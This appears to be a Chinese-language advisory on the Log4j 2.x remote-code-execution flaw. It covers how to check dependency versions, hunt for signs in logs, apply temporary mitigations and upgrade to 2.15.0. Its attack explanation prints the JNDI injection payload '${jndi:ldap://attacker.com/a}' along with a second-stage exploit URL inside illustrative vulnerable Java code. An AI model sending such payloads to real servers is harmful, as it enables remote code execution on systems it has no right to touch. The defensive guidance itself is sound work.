核弹级别漏洞

Apache Log4j 远程代码执行漏洞
威胁等级:严重
利用难度:简单
影响版本:Apache Log4j 2.x <= 2.14.1

检查是否受影响

依赖库中包含

  • log4j-core
  • log4j-api
  • 版本 >2.x <= 2.14.1

可以代码中搜索org.apache.logging.log4j

检测pom依赖版本是否低于 2.15.0

  1. <dependencies>
  2. <dependency>
  3. <groupId>org.apache.logging.log4j</groupId>
  4. <artifactId>log4j-api</artifactId>
  5. <version>2.15.0</version>
  6. </dependency>
  7. <dependency>
  8. <groupId>org.apache.logging.log4j</groupId>
  9. <artifactId>log4j-core</artifactId>
  10. <version>2.15.0</version>
  11. </dependency>
  12. </dependencies>

检测gradle依赖版本是否低于 2.15.0

  1. dependencies {
  2. compile group: 'org.apache.logging.log4j', name: 'log4j-api', version: '2.15.0'
  3. compile group: 'org.apache.logging.log4j', name: 'log4j-core', version: '2.15.0'
  4. }

检测Ivy依赖版本是否低于 2.15.0

  1. <dependencies>
  2. <dependency org="org.apache.logging.log4j" name="log4j-api" rev="2.15.0" />
  3. <dependency org="org.apache.logging.log4j" name="log4j-core" rev="2.15.0" />
  4. </dependencies>

检测SBT依赖版本是否低于 2.15.0

  1. libraryDependencies += "org.apache.logging.log4j" % "log4j-api" % "2.15.0"
  2. libraryDependencies += "org.apache.logging.log4j" % "log4j-core" % "2.15.0"

若没有使用上述工具,那么可以全局搜索项目中是否存在log4j的相关jar包,并通过jar包中的/META-INF/MANIFEST.MF文件查看log4j的版本。

日志/流量排查

  1. 排查日志或者解码后完整的请求数据包中是否存在${关键字。
    2. 排查日志是否存在相关堆栈报错,堆栈里是否有JndiLookup、ldapURLContext、getObjectFactoryFromReference等与 jndi 调用相关的堆栈信息。

    修复建议

    临时规避措施(相关设置后需重启,请用户重启前评估对业务的影响):
    1、若无必要,禁止业务对外网暴露
    2、设置jvm参数 “-Dlog4j2.formatMsgNoLookups=true”
    3、在设置“log4j2.formatMsgNoLookups=True”
    4、系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”
    5、使用WAF等安全侧产品也可以规避

    Maven修复

    ```xml

    1.中增加

    1. <log4j2.version>2.15.0</log4j2.version>

2.中增加

  1. <!--修复log4j2漏洞-->
  2. <dependency>
  3. <groupId>org.apache.logging.log4j</groupId>
  4. <artifactId>log4j-core</artifactId>
  5. <version>${log4j2.version}</version>
  6. </dependency>
  7. <dependency>
  8. <groupId>org.apache.logging.log4j</groupId>
  9. <artifactId>log4j-api</artifactId>
  10. <version>${log4j2.version}</version>
  11. </dependency>
  1. <a name="zjZlK"></a>
  2. #
  3. <a name="Nkn5t"></a>
  4. #
  5. <a name="cLu2L"></a>
  6. # 攻击原理
  7. > 原理图来自知乎<br />作者:研磨架构
  8. > 链接:[https://www.zhihu.com/question/505025655/answer/2265086040](https://www.zhihu.com/question/505025655/answer/2265086040)
  9. Apache Log4j 远程代码执行漏洞,是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。
  10. ```java
  11. import org.apache.log4j.Logger;
  12. import java.io.*;
  13. import java.sql.SQLException;
  14. import java.util.*;
  15. public class VulnerableLog4jExampleHandler implements HttpHandler {
  16. static Logger log = Logger.getLogger(log4jExample.class.getName());
  17. /**
  18. * A simple HTTP endpoint that reads the request's User Agent and logs it back.
  19. * This is basically pseudo-code to explain the vulnerability, and not a full example.
  20. * @param he HTTP Request Object
  21. */
  22. public void handle(HttpExchange he) throws IOException {
  23. string userAgent = he.getRequestHeader("user-agent");
  24. // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
  25. // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
  26. log.info("Request User Agent:" + userAgent);
  27. String response = "<h1>Hello There, " + userAgent + "!</h1>";
  28. he.sendResponseHeaders(200, response.length());
  29. OutputStream os = he.getResponseBody();
  30. os.write(response.getBytes());
  31. os.close();
  32. }
  33. }

根据上面提供的攻击代码,攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。

攻击步骤

  • 攻击者向漏洞服务器发起攻击请求。
  • 服务器通过Log4j2记录攻击请求中包含的基于JNDILDAP的恶意负载${jndi:ldap://attacker.com/a},attacker.com是攻击者控制的地址。
  • 记录的恶意负载被触发,服务器通过JNDI向attacker.com请求。
  • attacker.com就可以在响应中添加一些恶意的可执行脚本,注入到服务器进程中,例如可执行的字节码http://second-stage.attacker.com/Exploit.class。
  • 攻击者执行恶意脚本。

    专门画了一张图,让大家更好理解,一图胜千言:

    修复log4j2漏洞 - 图1
    修复log4j2漏洞 - 图2

    下面就是漏洞“攻陷”,比如可以在baidu搜索框里输入特殊格式请求,造成网页劫持:

    修复log4j2漏洞 - 图3
    baidu
    修复log4j2漏洞 - 图4
    iCloud
    修复log4j2漏洞 - 图5
    Minecraft 是第一个但肯定不是最后一个受到影响的游戏
    修复log4j2漏洞 - 图6